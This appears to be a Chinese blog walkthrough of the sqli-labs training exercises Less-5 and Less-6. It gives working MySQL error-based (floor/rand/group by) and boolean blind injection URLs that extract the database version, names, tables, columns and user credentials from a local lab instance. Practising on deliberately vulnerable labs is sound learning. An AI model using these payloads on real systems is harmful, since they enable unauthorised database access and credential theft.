sqli-labs Less-5和Less-6

Less-5

首先我们观察下源码
在这里插入图片描述
观察源码可以看出,如果返回的结果正确就只能返回you are in…,不能得到我们要的数据,所以采用报错注入,这里我们采用floor报错
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符、
解释:
一是需要 concat 计数,二是 floor,取得 0 or 1,进行数据的
重复,三是 group by 进行分组,分组后数据计数时重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0),rand()需要多试几次才行

接下来我们开始爆数据库版本

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union select count(*),1, concat(";",(select version()), ";",floor(rand()*2)) as a from information_schema.tables group by a;--+

在这里插入图片描述
爆数据库

 http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union select count(*),1, concat(";",(select database()), ";",floor(rand()*2)) as a from information_schema.tables group by a;--+

爆用户名

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union select count(*),1, concat(";",(select user()), ";",floor(rand()*2)) as a from information_schema.tables group by a;--+

爆数据表

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+

我们通过二分法,去猜出第一个数据表的第一个字符,如何获得第一个表的第二个字符呢。只需要把limit0,1),1,1改成limit0,1),2,1
如何猜出第二个数据表的第一个字符
只需要把limit0,1),1,1改成limit1,1),1,1其余操作与上面类似
爆users表里的列

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+

继续上面的操作,但是需要该一个地方 ‘^us[a-z]’ ->‘us[a-z]’…'username[a-z]’
可以猜出username里有username,同理可以猜出password

爆users的内容

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ORD(MID((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68--+

重复下面方法,我们可以猜出username里的第一行数据,第二行数据。。。

在这里插入图片描述

Less-6

查看源码
在这里插入图片描述
故Less-6只需在Less-5的基础上修改一点即可,即==?d=1’改成?d=1“==,其他都一样

大家也可以参考下这篇博客https://blog.csdn.net/u012763794/article/details/51207833

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值